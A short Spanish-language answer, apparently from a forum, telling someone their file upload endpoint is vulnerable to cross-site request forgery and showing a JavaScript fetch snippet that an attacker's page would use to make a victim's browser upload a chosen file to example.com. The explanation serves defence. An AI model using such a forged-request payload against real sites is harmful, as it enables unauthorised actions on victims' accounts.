Sí, eres vulnerable. Cada punto final que modifica el estado de su servidor debe tener protección contra los ataques CSRF. No se excluyen las cargas de archivos.
Entonces, ¿cómo puede ser explotado? Si su sitio es example.com
, el atacante aloja un JS como este en un sitio en el que engaña a la víctima para que visite:
myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
method: "post",
body: myFormData
});
Esto hará que el navegador de las víctimas envíe una solicitud POST a su sitio, con lo que el atacante elija como fileContent
como archivo.